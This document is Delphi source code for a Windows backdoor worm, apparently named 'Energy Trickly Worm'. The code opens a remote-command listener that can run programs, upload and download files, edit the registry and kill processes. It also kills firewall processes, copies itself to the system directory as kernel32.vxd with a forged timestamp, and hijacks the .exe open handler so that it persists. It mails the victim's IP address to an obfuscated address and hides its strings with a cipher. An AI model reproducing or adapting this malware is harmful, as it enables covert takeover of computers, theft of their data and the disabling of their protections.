s:=ch+':\';
       case getDriveType(pChar(s)) of
            DRIVE_FIXED: begin Tip:='0'; //Fixed HD
  NamLen:=255;
  SysLen:=255;
if GetVolumeInformation(pChar(s), VolNameAry, NamLen,
                        @VolSer, SysLen, SysFlags, nil, 0)
then VolNameStr := StrPas(VolNameAry)

  else VolNameStr := '';
LW := ord(upcase(s[1])) - 64;
DSize := DiskSize(LW);
if (DSize <> -1) then DSize := disksize(LW) DIV 1024;

//Driv:=Driv+'Drive: '+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10;
Driv:=crypt('}F9')+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; //|D:
 end;

            DRIVE_CDROM: begin Tip:='1'; //CD-ROM
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end;
            DRIVE_RAMDISK: begin Tip:='2'; //RAM Disk
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end;
            DRIVE_REMOVABLE: begin Tip:='3'; //Removable
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end;
            DRIVE_REMOTE: begin Tip:='4'; //Network
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end;
   
       

 sleep(timeout);
sock.WriteString(wParam, PChar(Driv));

 driv:='';
 inc(ch);
until d=26;
 sleep(timeout);
sock.WriteString(wParam, PChar(crypt(']^kphj[T')+#13+#10)); //\\html\\
end;

procedure DoShowLog(wParam:longInt);
var f:file of byte;
    p:longint;
begin
Registre:=TRegistry.create;
Registre.RootKey:=HKEY_CLASSES_ROOT;
Registre.OpenKey('.aft',true);
if fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat
begin
assignfile(f,systemdir+crypt(']wpawu)lh~')); //\users.dat
reset(f);
p:=filesize(f);
sock.writestring(wParam,pchar(crypt('mmd>%')+Registre.ReadString('1')+' '+s+' '+inttostr(p)+#13+#10)); //log:
closefile(f);
end;
Registre.Free;
end;

procedure DoExecFile(wParam:longInt;Command:String);
var R:Integer;
    Params:String;
begin
  Params:='';
  if Pos('&',Command)<>0 then
  begin
    Params:=Copy(Command,Pos('&',Command)+1,255);
    Delete(Command,Pos('&',Command),255);
  end;
  R:=ShellExecute(0,nil,PChar(Command),PChar(Params),nil,SW_NORMAL);
  if R<=32 then sock.WriteString(wParam, PChar(ERROR+#13+#10))
           else sock.WriteString(wParam, PChar(ALLDONE+#13+#10));
end;

procedure DoProxy(wParam:longInt;Command:String);
begin
//
end;

procedure DoDeleteFile(wParam:longInt;Command:String);
var St:String;
    Found:Integer;
    F:TSearchRec;
begin
  Found:=FindFirst(Command,faAnyFile, F);
  St:='';
  while Found = 0 do
  begin
    if DeleteFile(ExtractFilePath(Command)+F.Name) then St:=St+F.Name;
    Found:=FindNext(F);
  end;
  sock.WriteString(wParam, PChar(crypt('Dpbw`b''n`fn7')+St+#13+#10)); //Erased files:
end;

procedure DoSendFile(wParam:longInt;Command:String);
var {f:file of byte;}
    f:HFile;
    st:string;
    NumRead:Integer;
    p:array[1..1024] of char;
    OfStr:TOFStruct;
    FF:TSearchRec;

begin
  f:=OpenFile(PChar(Command),OFStr,OF_READ);
  if f=HFILE_ERROR then
  begin
    sock.WriteString(wParam, PChar(ERROR+#13+#10));
    exit;
  end;
  FindFirst(Command,faAnyFile, FF);
  St:=IntToStr(FF.Size);
  sock.WriteString(wParam, PChar(crypt('mmb`cok2')+st+'|'+#13+#10)); //loadfil:

  sleep(timeout);
  repeat
    ReadFile(f,P,SizeOf(P),NumRead,nil);
    Sleep(timeout);
    if sock.WriteData(wParam,@P,numread)=0 then
    begin
      _lclose(f);
      exit;
    end;
  until (NumRead = 0);
  _lclose(f);
end;

procedure DoReceiveFile(wParam:longInt;Command:String);
begin
//done;
end;

procedure DoRenameFile(wParam:longInt;Command:String);
var Params:String;
    f:file;
begin
  Params:='';
  if Pos('&',Command)<>0 then
  begin
    Params:=Copy(Command,Pos('&',Command)+1,255);
    Delete(Command,Pos('&',Command),255);
  end;
  assignfile(f,command);
if params<>'' then Rename(f,params) else exit;
sock.writeString(wParam, PChar(ALLDONE+#13+#10));
end;

procedure DoCreateDirectory(wParam:longInt;Command:String);
var St:String;
begin
  St:=command;
  MkDir(command);
  sock.WriteString(wParam, PChar(crypt('Bpfeqc''l`x1')+St+#13+#10)); //Create dir:
end;

procedure DoDeleteDirectory(wParam:longInt;Command:String);
var St:String;
begin
  St:=command;
  RmDir(command);
  sock.WriteString(wParam, PChar(crypt('Dpbw`&ca{0')+St+#13+#10)); //Erase dir:
end;

procedure DoWriteReg(wParam:longInt;Command:String);
var Params,Params1,Params2,Params3:String;
begin
params:='';
params1:='';
params2:='';
params3:='';

  if Pos('&',Command)<>0 then
  begin
    params:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  if Pos('&',Command)<>0 then
  begin
    params1:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  if Pos('&',Command)<>0 then
  begin
    params2:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  Params3:=Copy(Command,1,length(command));

Registre:=TRegistry.create;
if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT;
if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER;
if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE;
if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS;
if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA;
if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG;
if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA;
if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end;
Registre.OpenKey(params1,true);
Registre.WriteString(params2,pchar(params3));
Registre.Free;

sock.WriteString(wParam, PChar(ALLDONE+#13+#10));
end;

procedure DoReadReg(wParam:longInt;Command:String);
var params,params1,params2:string;
begin
  if Pos('&',Command)<>0 then
  begin
    params:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  if Pos('&',Command)<>0 then
  begin
    params1:=copy(command,1,pos('&',command)-1);
    Delete(Command,1,pos('&',command));
  end;
  Params2:=Copy(Command,1,length(command));

Registre:=TRegistry.create;
if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT;
if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER;
if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE;
if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS;
if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA;
if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG;
if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA;
if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end;
Registre.OpenKey(params1,true);
sock.WriteString(wParam, PChar('Data: '+Registre.ReadString(params2)+#13+#10));
Registre.Free;
end;

procedure DoKillProcess(wParam:longInt;Command:String);
begin
Killprocess(command);
sock.WriteString(wParam, PChar(crypt('Jkohlh`2)')+command+#13+#10)); //Killing:
end;

procedure DoWindowsProcess(wParam:longInt);
var pp:string;
begin
assignfile(t,windowsdir+'~tmp..dat');
rewrite(t);
append(t);
 EnumWindows(@AddTopLevelWindowsToList,8);
closefile(t);

assignfile(t,windowsdir+'~tmp..dat');
reset(t);
repeat
readln(t,pp);
Sock.WriteString(wParam, PChar(pp+#13+#10));
sleep(timeout);
until pp='';

closefile(t);
erase(t);
end;

procedure DoTimeout(wParam:longInt;Command:String);
begin
timeout:=strtoint(command);
sock.WriteString(wParam, PChar('Timeout: '+command+#13+#10));
end;



procedure TSock.OnServerRead(wParam,lParam:longInt);
var Command:String;
    f:HFile;
    check:string;
    NumWrite:Integer;
    OfStr:TOFStruct;
t1,t2,yy,taille:longint;
Buffy:array[1..1024] of char;

begin
  CountRB:=recv(wParam,Buffy,SizeOf(Buffy),0);
  if CountRB = 0 then exit;
  Command:=Copy(Buffy,Pos('/',Buffy)+1,Pos('HTTP',Buffy)-Pos('/',Buffy)-2);
  if command='' then exit;
  case command[1] of
       '0' :  DoAbout(wParam);
       '1' :  DoShowDirectory(wParam,copy(command,pos('?',command)+1,255));
       '2' :  DoStart(wParam);
       '3' :  DoShowLog(wParam);
       '4' :  DoExecFile(wParam,copy(command,pos('?',command)+1,255));
       '5' :  DoSendFile(wParam,copy(command,pos('?',command)+1,255));
       '6' :  DoDeleteFile(wParam,copy(command,pos('?',command)+1,255));
       '7' :  begin
              command:=copy(command,pos('?',command)+1,255);
              check:=copy(command,pos('|',command)+1,pos('&',command)-1);
              taille:=strtoint(check);
              delete(command,pos('|',command),length(command));

              sock.WriteString(wParam, PChar('sendfil:'+#13+#10));

                f:=OpenFile(PChar(Command),OFStr,OF_CREATE);
                  if f=HFILE_ERROR then
                    begin
                        sock.WriteString(wParam, PChar(ERROR+#13+#10));
                            exit;
                    end;
             yy:=0;

t1:=round((taille+512)/1024);
t2:=t1*1024; //nombre packet
t1:=t2-taille; //end packet
//t1:=taille-t2;
               repeat
  CountRB:=recv(wParam,Buffy,sizeof(Buffy),0);
  if countRB<>65535 then
               begin
               //writeln(taille);
               if taille<=1024 then begin WriteFile(f,Buffy,taille,NumWrite,nil); _lclose(f); exit; end;

               yy:=yy+countRB; //bug
                if yy=t2 then
                begin
                t1:=1024-abs(t1);
                //writeln(t1);
                WriteFile(f,Buffy,t1,NumWrite,nil);
                 _lclose(f);
              exit;
                end
                else
                WriteFile(f,Buffy,countRB,NumWrite,nil);
               end;

                fillchar(buffy,sizeof(buffy),#0);
               until (yy>=taille) or (NumWrite = 0);

               _lclose(f);
              exit;
              //DoReceiveFile(wParam,copy(command,pos('?',command)+1,255));
              end;
       '8' :  DoRenameFile(wParam,copy(command,pos('?',command)+1,255));
       '9' :  DoCreateDirectory(wParam,copy(command,pos('?',command)+1,255));
       'A' :  DoDeleteDirectory(wParam,copy(command,pos('?',command)+1,255));
       'B' :  DoWriteReg(wParam,copy(command,pos('?',command)+1,255));
       'C' :  DoReadReg(wParam,copy(command,pos('?',command)+1,255));
       'D' :  DoProxy(wParam,copy(command,pos('?',command)+1,255));
       'E' :  DoKillProcess(wParam,copy(command,pos('?',command)+1,255));
       'F' :  DoWindowsProcess(wParam);
       'G' :  DoPassword(wParam);
       'H' :  DoTimeout(wParam,copy(command,pos('?',command)+1,255));
  end;
//  closesocket(wParam);
  processmessages;
end;

//=== Process OnSocketMessage ===
procedure OnSocketMessage(Msg,wParam,lParam:longInt);
begin
  if ( LOWORD(lParam) and FD_ACCEPT = FD_ACCEPT) then Sock.OnServerAccept(wParam,lParam);
  if ( LOWORD(lParam) and FD_CLOSE = FD_CLOSE) then sock.OnServerClose(wParam,lParam);
  if ( LOWORD(lParam) and FD_READ = FD_READ) then sock.OnServerRead(wParam,lParam);
end;

//=== OnInitSocket ===
//==TCP
procedure InitSocket;
begin
  WSAStartup($101,WSD);
  Port:=4662;
  Server := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//  Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);

  if Server = -1 then WSACleanup;
  Addr.sin_family:= AF_INET;
  Addr.sin_addr.s_addr:=INADDR_ANY;
  Addr.sin_port:=htons(Port);
  bind(Server,Addr,SizeOf(Addr));
  WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ);
//  listen;
  listen(Server,5);
end;

//==UDP
{procedure InitSocket2;
begin
  si:=SizeOf(integer);
  WSAStartup($101,WSD);
  Port:=136;
  Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);

  if Server = -1 then WSACleanup;
  Addr.sin_family:= PF_INET;
  Addr.sin_addr.s_addr:=INADDR_ANY;
  Addr.sin_port:=htons(Port);
  setsockopt(Server,SOL_SOCKET,SO_BROADCAST,@i,si);

  bind(Server,Addr,SizeOf(Addr));
  WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ);
  listen(Server,5);
end;}

//=====copyit
function GetFileDateTimeModified(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean;
var
  dt,tm: word;
  DateTime: integer;
begin
  result := false;
  DateTime := FileAge(FileName);

  if DateTime = -1 then exit else result := true;
  tm := DateTime and $FFFF; {lower word}
  dt := DateTime shr 16; {upper word}

  h := tm shr 11;
  m := (tm shr 5) and $3F;
  s := (tm and $1F) * 2;

  dd := dt and $1F;
  mm := (dt shr 5) and $F;
  yyyy := (dt shr 9)+1980;
end;

function SetFileDateTime(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean;
var
  SrchHdl: THandle;
  FileHdl: HFile;
  FindData: TWin32FindData;
  wDate,wTime: word;
  LocalFileTime, NewFileTime: TFileTime;
begin
  result := false;
  SrchHdl := FindFirstFile(PChar(FileName), FindData);
  if SrchHdl <> INVALID_HANDLE_VALUE then begin
    Windows.FindClose(SrchHdl);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
      wTime := (h shl 11) + (m shl 5) + (m div 2);
      wDate := (dd) + (mm shl 5)+ ((yyyy-1980) shl 9);

      DosDateTimeToFileTime(wDate,wTime,LocalFileTime);
      LocalFileTimeToFileTime(LocalFileTime, NewFileTime);
      FileHdl := _lopen(PChar(FileName), OF_WRITE);
      if FileHdl <> HFILE_ERROR then begin
        if SetFileTime(FileHdl,@NewFileTime,@NewFileTime,@NewFileTime) then
            result := true;
        _lclose(FileHdl);
      end;
      end;
  end;
end;

procedure copyit;
var FromF, ToF: file;
    NumRead, NumWritten: Integer;
    Buf: array[1..2048] of Char;
begin
s:=paramstr(0);
if s<>systemdir+crypt(']ifvkck;;$}ti') then begin
    filemode:=0;
if fileexists(systemdir+crypt(']ifvkck;;$}ti')) then exit; //kernel32.vxd
    AssignFile(FromF,paramstr(0));
    Reset(FromF, 1);	{ Record size = 1 }
    AssignFile(ToF, systemdir+crypt(']ifvkck;;$}ti')); //kernel32.vxd
    Rewrite(ToF, 1);	{ Record size = 1 }

      repeat
        BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
        BlockWrite(ToF, Buf, NumRead, NumWritten);
      until (NumRead = 0) or (NumWritten <> NumRead);
        CloseFile(FromF);
        CloseFile(ToF);

GetFileDateTimeModified(windowsdir+crypt(']g{tiium{$nth'),yyyy,mm,dd,h,m,ss); //\explorer.exe
SetFileDateTime(systemdir+crypt(']ifvkck;;$}ti'),yyyy,mm,dd,h,m,ss); //kernel32.vxd
end;
end;

//===========Online???
const
  INVALID_IP_ADDRESS= $ffffffff;

function ip2string(ip_address:longint):string;
begin
  ip_address:=ntohl(ip_address);
  result:= inttostr(ip_address shr 24)+'.'+
           inttostr((ip_address shr 16) and $ff)+'.'+
           inttostr((ip_address shr 8) and $ff)+'.'+
           inttostr(ip_address and $ff);
end;

function lookup_hostname(const hostname:string):longint;
var
  RemoteHost : PHostEnt;  (* no, don't free it! *)
  ip_address: integer;
  s: string;

begin
  ip_address:=INVALID_IP_ADDRESS;
  try
    if hostname='' then begin  (* no host given! *)
      lookup_hostname:=ip_address;
      EXIT;
      end
    else begin
  s:=hostname+#0;
  ip_address:=Inet_Addr(PChar(@s[1]));
//  ip_address:=Winsock.Inet_Addr(PChar(hostname));
      if ip_address=$FFFFFFFF then begin
  RemoteHost:=GetHostByName(PChar(@s[1]));
//  RemoteHost:=Winsock.GetHostByName(PChar(hostname));
        if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then begin
          lookup_hostname:=ip_address;
          EXIT;  (* host not found *)
          end
        else
          ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^);
        end;
      end;
  except
    ip_address:=INVALID_IP_ADDRESS;
    end;
  lookup_hostname:=ip_address;
end;

//====== Connection Irc ===
type
  THede = class(TObject)
    procedure MyHwndProc(var Msg:TMessage);
    procedure agprun;
    function ip2string(ip_address:longint):string;
    end;

const
  SocketMessag = WM_USER+107;

var
  MySocket: TSocket;
  MyName   : TSockAddr;
  MyAddr   : TInAddr;

  Hede: THede;

  Buffer:array[0..1023] of char;

  res : word;
  WST : TWSAData;
  host: string;
  b:byte;

function my_ip_address:longint;
const
  bufsize=255;
var
  buf: pointer;
  RemoteHost : PHostEnt; (* No, don't free it! *)
begin
  buf:=NIL;
  try
    getmem(buf,bufsize);
    gethostname(buf,bufsize);   (* this one maybe without domain *)
    RemoteHost:=GetHostByName(buf);
    if RemoteHost=NIL then
      my_ip_address:=htonl($7F000001)  (* 127.0.0.1 *)
    else
      my_ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^);
  finally
    if buf<>NIL then  freemem(buf,bufsize);
    end;
end;

function THede.ip2string(ip_address:longint):string;
begin
  ip_address:=ntohl(ip_address);
  result:= inttostr(ip_address shr 24)+'.'+
           inttostr((ip_address shr 16) and $ff)+'.'+
           inttostr((ip_address shr 8) and $ff)+'.'+
           inttostr(ip_address and $ff);
end;

procedure THede.MyHwndProc(var msg:TMessage);
var check,s:string;
begin
FillChar(buffer,sizeof(buffer),#0);

  if msg.Msg = SocketMessag then begin
      if msg.LParamLo = FD_CLOSE then begin //writeln('end');
                                  closesocket(mysocket);
                                  WSACleanup;
                                  exit; end;
      //if msg.LParamLo = FD_WRITE then writeln('[Socket Write]');
       end;
// sock.WriteString(MySocket,pchar(crypt('TQFV%')+copy(nukemsg2,1,7)+' "'+nukemsg2+'.com" "'+ip2string(my_ip_address)+'" :'+copy(nukemsg2,1,5)+#13+#10)); //USER
  end;


procedure THede.agpRun;
var
  zday,zmonth,s:string;
  myhwnd: Thandle;
  SystemTime:TSystemTime;
  z:longint;
  day,month:integer;

begin
host:='mail.hotmail.com'; 
z:=lookup_hostname(host);
host:=ip2string(z);

  MySocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  MyAddr.S_addr:=Inet_Addr(@Host[1]);
  MyName.sin_family:=PF_INET;
  MyName.sin_port:=htons(25); //port to connect
  MyName.sin_addr:=MyAddr;

//    MyName.sin_port:=ntohs(strtoint(edit4.text));  //port on receive
  res:=connect(MySocket,MyName,sizeof(MyName));

    if res<>0 then
       begin
       //S:='Connect Error : '+inttostr(WSAGetLastError);
       //writeln(s);
       closesocket(mysocket);
       WSACleanup;
       exit;
       end;

    myhwnd := AllocateHwnd(hede.MyHWndProc);
    WSAAsyncSelect(MySocket, myhwnd, SocketMessag, FD_WRITE OR FD_CLOSE );
    res:=Recv(MySocket,Buffer,sizeof(buffer),0);

sleep(2000);
sock.WriteString(MySocket,pchar('HELO mail.hotmail.com'+#13+#10)); 
sleep(1000);
sock.WriteString(MySocket,pchar('MAIL FROM: Energy@hotmail.com'+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('RCPT TO: '+crypt('bmga}bf|hJccycny}<p{x')+#13+#10)); 
sleep(1000);
sock.WriteString(MySocket,pchar('DATA'+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('From: Energy-Support@hotmail.com'+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('To: '+crypt('bmga}bf|hJccycny}<p{x')+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('Subject: Failed delivery'+#13+#10));
sleep(1000);
with systemtime do
begin
       wYear:= wYear;
       wMonth:=wMonth;
       wDayOfWeek:= wDayOfWeek;
       wDay:=wDay;
       wHour:= wHour;
       wMinute:= wMinute;
       wSecond:= wSecond;
       wMilliseconds:= wMilliseconds;
end;
getsystemtime(SystemTime);

day:=systemtime.wDayOfWeek;
case day of
0: zday:='Sun';
1: zday:='Mon';
2: zday:='Tue';
3: zday:='Wed';
4: zday:='Thu';
5: zday:='Fri';
6: zday:='Sat';
end;
month:=systemtime.wMonth;
case month of
1: zmonth:='Jan';
2: zmonth:='Feb';
3: zmonth:='Mar';
4: zmonth:='Apr';
5: zmonth:='May';
6: zmonth:='Jun';
7: zmonth:='Jul';
8: zmonth:='Aug';
9: zmonth:='Sep';
10: zmonth:='Oct';
11: zmonth:='Nov';
12: zmonth:='Dec';
end;

sock.WriteString(MySocket,pchar('Date: '+zday+', '+inttostr(systemtime.wDay)+' '+zmonth+
' '+inttostr(systemtime.wYear)+' '+inttostr(systemtime.wHour)+':'+inttostr(systemtime.wMinute)+':'+inttostr(systemtime.wSecond)+' +0000'+#13+#10));
              //Date: Sat, 1 May 1999 20:46:00 +0000
sleep(1000);
sock.WriteString(MySocket,pchar(''+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('Content-Type: ' + 'text/plain' + '; charset="' +'iso-8859-1' + '"'+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('Content-Transfer-Encoding: quoted-printable'+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar(''+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('Hi '+ip2string(my_ip_address)+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar(''+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('.'+#13+#10));
sleep(1000);
sock.WriteString(MySocket,pchar('QUIT'+#13+#10));
       closesocket(mysocket);
       WSACleanup;
exit;
while not ExitCode<>ExitCode2 do processmessages;
end;

//===fuck_protection
procedure scanprotection;
begin
if findwindow(nil,@(crypt('OgwEuv@}hxo'))[1])<>0 then //NetAppGuard
begin
killprocess(crypt('OgwEuv@}hxo')); //NetAppGuard
end;
if findwindow(nil,@(crypt('BmmW`gk(YI+JD\JGP^_'))[1])<>0 then //ConSeal PC FIREWALL
begin
killprocess(crypt('BmmW`gk(YI+JD\JGP^_')); 
appmsg(pchar(crypt('HR#ekb''ijidycz/~pv4yyp|~;ss>lIFLBHDGD
eABJWP^wZXd]XVzTLZ7 ./d3#5; %%b')));
end;
end;

//============Thread_procedure===
procedure ThreadProc3; stdcall;
begin
end;

procedure ThreadProc2; stdcall;
begin
end;

procedure ThreadProc; stdcall;
var ck1,ck2,ck3:boolean;
begin
ck1:=false;
ck2:=false;
ck3:=false;
//initsocket;

repeat
WSACleanup;
WSAStartup($101,WSD);

z:=lookup_hostname(crypt('vut*hodzfydjy l|')); //www.microsoft.com

if z>0 then ck1:=true else ck1:=false;

if (ck1=true) and (ck2=false) then
     begin
     ck2:=true;
     ck3:=true;
     WSACleanup;
     initsocket;
     sleep(2000);
     WSAStartup($101,WST);
     hede.agprun;
     end;

if (ck1=false) and (ck3=true) then
     begin
     ck3:=false;
     ck2:=false;
     ShutDownServer;
     WSACleanup;
     //writeln('disconnect');
     end;
sleep(120000);
until TerminateThread(ThreadHdle, ExitCode); 
ShutDownServer;
end;

//=== Process CreateWindow ===
procedure OnCreate(hWnd:Integer);
begin
//
end;

procedure OnClose(hWnd:Integer);
begin
ShellExecute(0,nil,PChar(paramstr(0)),nil,nil,SW_NORMAL); //=== re active it
ShutDownServer;
GetExitCodeThread(ThreadHdle, ExitCode);
TerminateThread(ThreadHdle, ExitCode);
//GetExitCodeThread(ThreadHdle2, ExitCode2);
//TerminateThread(ThreadHdle2, ExitCode2);
//GetExitCodeThread(ThreadHdle3, ExitCode3);
//TerminateThread(ThreadHdle3, ExitCode3);
klog.LogDestroy;
end;

//== Processes every message sent to MAIN window ===
function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
  Result:= 0;
  case Msg of
    WM_CREATE            : OnCreate(hWnd);
    WM_CLOSE             : OnClose(hWnd);
    WM_MY_SOCK_MESSAGE   : OnSocketMessage(Msg,wParam,lParam);
    WM_DESTROY           : ShutDownServer;
  end;
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
end;

function RenameFile(const OldName, NewName: string): Boolean;
begin
  Result := MoveFile(PChar(OldName), PChar(NewName));
end;


//=== This is the MAIN PART program =======
begin
scanprotection;

{sss:=paramstr(1);

for iii:=length(sss) downto 1 do
begin
ccc:=sss[iii];
sss2:=sss2+ccc;
if ccc='\' then break;
end;
if ((sss2=crypt('DZF*75DZ@GW')) or (sss2=crypt('DZF*FTNEU'))) then
   begin
   copyfile(pchar(sss),pchar(copy(sss,1,length(sss)-length(sss2))+'\mirc32.com'),true);
   winexec(PChar(copy(sss,1,length(sss)-length(sss2))+'\mirc32.com'),SW_NORMAL);
   halt;
   end;}

if (length(paramstr(1))>0) and (length(paramstr(2))>0) and (length(paramstr(3))>0) then winexec(PChar(paramstr(1)+' '+paramstr(2)+' '+paramstr(3)),SW_NORMAL);
if (length(paramstr(1))>0) and (length(paramstr(2))>0) and (length(paramstr(3))=0) then winexec(PChar(paramstr(1)+' '+paramstr(2)),SW_NORMAL);
if (length(paramstr(1))>0) and (length(paramstr(2))=0)  then winexec(PChar(paramstr(1)),SW_NORMAL);



  if FindWindow(lpzClassName,lpzWindowsName) <> 0 then
   begin Halt; end;//If start second time

  hInst:=GetModuleHandle(nil);
  with wClass do
  begin
    Style:=         CS_PARENTDC;
    hIcon:=         0;
    cbClsExtra:=    0;
    cbWndExtra:=    0;
    lpfnWndProc:=   @WindowProc;
    hInstance:=     hInst;
    hbrBackground:= COLOR_WINDOW;
    lpszClassName:= lpzClassName;
    lpszMenuName:=  NIL;
    hCursor:=       0; //LoadCursor(0,IDC_ARROW);
  end;

  RegisterClass(wClass);

  Handle:=CreateWindow(lpzClassName,lpzWindowsName,WS_BORDER + WS_SIZEBOX, 0,0,10,10,0,0{hPP},hInst,nil);
  if Handle<>0 then
  begin
    UpdateWindow(Handle);
    ShowWindow(Handle, SW_HIDE);  //SW_HIDE
    RegisterInService;
  end;

//ThreadHdle2 := CreateThread( Nil,0,@ThreadProc2,Nil,0,ThreadID2); //scan protection
//ThreadHdle3 := CreateThread( Nil,0,@ThreadProc3,Nil,0,ThreadID3); //scan protection

Registre:=TRegistry.create;
Registre.RootKey:=HKEY_CLASSES_ROOT;
Registre.OpenKey('exefile\shell\open\command',true);
 Registre.WriteString('',pchar(crypt('jgqj`j4:''|sh-,*!326>'))); //kernel32.vxd "%1" %*
Registre.Free;

copyit;

Timeout:=70;
ThreadHdle := CreateThread( Nil,0,@ThreadProc,Nil,0,ThreadID); //Online???

//repeat
//sleep(2000);
//until z>0;
//if z>0 then klog.LogCreate;

ProcessMessages;
end.

--[Energy_Trickly_Worm.dpr]---------------------------------------------------------------

program v;

uses
  dialogs,Windows;

{$R *.RES}

const
  {winsock const}
  FD_SETSIZE   = 64;
  IOCPARM_MASK = $7f;
  IOC_VOID     = $20000000;
  IOC_OUT      = $40000000;
  IOC_IN       = $80000000;
  IOC_INOUT    = (IOC_IN or IOC_OUT);

  FIONREAD     = IOC_OUT or { get # bytes to read }
    ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or
    (Longint(Byte('f')) shl 8) or 127;
  FIONBIO      = IOC_IN or { set/clear non-blocking i/o }
    ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or
    (Longint(Byte('f')) shl 8) or 126;
  FIOASYNC     = IOC_IN or { set/clear async i/o }
    ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or
    (Longint(Byte('f')) shl 8) or 125;

    // Protocols }
  IPPROTO_IP     =   0;             { dummy for IP }
  IPPROTO_ICMP   =   1;             { control message protocol }
  IPPROTO_IGMP   =   2;             { group management protocol }
  IPPROTO_GGP    =   3;             { gateway^2 (deprecated) }
  IPPROTO_TCP    =   6;             { tcp }
  IPPROTO_PUP    =  12;             { pup }
  IPPROTO_UDP    =  17;             { user datagram protocol }
  IPPROTO_IDP    =  22;             { xns idp }
  IPPROTO_ND     =  77;             { UNOFFICIAL net disk proto }

  IPPROTO_RAW    =  255;            { raw IP packet }
  IPPROTO_MAX    =  256;
  IPPORT_RESERVED    =  1024;

  INADDR_ANY       = $00000000;
  INADDR_LOOPBACK  = $7F000001;
  INADDR_BROADCAST = $FFFFFFFF;
  INADDR_NONE      = $FFFFFFFF;

  WSADESCRIPTION_LEN     =   256;
  WSASYS_STATUS_LEN      =   128;
  TF_DISCONNECT           = $01;
  TF_REUSE_SOCKET         = $02;
  TF_WRITE_BEHIND         = $04;

  IP_OPTIONS          = 1;
  IP_MULTICAST_IF     = 2;           { set/get IP multicast interface   }
  IP_MULTICAST_TTL    = 3;           { set/get IP multicast timetolive  }
  IP_MULTICAST_LOOP   = 4;           { set/get IP multicast loopback    }
  IP_ADD_MEMBERSHIP   = 5;           { add  an IP group membership      }
  IP_DROP_MEMBERSHIP  = 6;           { drop an IP group membership      }
  IP_TTL              = 7;           { set/get IP Time To Live          }
  IP_TOS              = 8;           { set/get IP Type Of Service       }
  IP_DONTFRAGMENT     = 9;           { set/get IP Don't Fragment flag   }

  IP_DEFAULT_MULTICAST_TTL   = 1;    { normally limit m'casts to 1 hop  }
  IP_DEFAULT_MULTICAST_LOOP  = 1;    { normally hear sends if a member  }
  IP_MAX_MEMBERSHIPS         = 20;   { per socket; must fit in one mbuf }

  SOCK_STREAM     = 1;               { stream socket }
  SOCK_DGRAM      = 2;               { datagram socket }
  SOCK_RAW        = 3;               { raw-protocol interface }
  SOCK_RDM        = 4;               { reliably-delivered message }
  SOCK_SEQPACKET  = 5;               { sequenced packet stream }

  SO_DEBUG        = $0001;          { turn on debugging info recording }
  SO_ACCEPTCONN   = $0002;          { socket has had listen() }
  SO_REUSEADDR    = $0004;          { allow local address reuse }
  SO_KEEPALIVE    = $0008;          { keep connections alive }
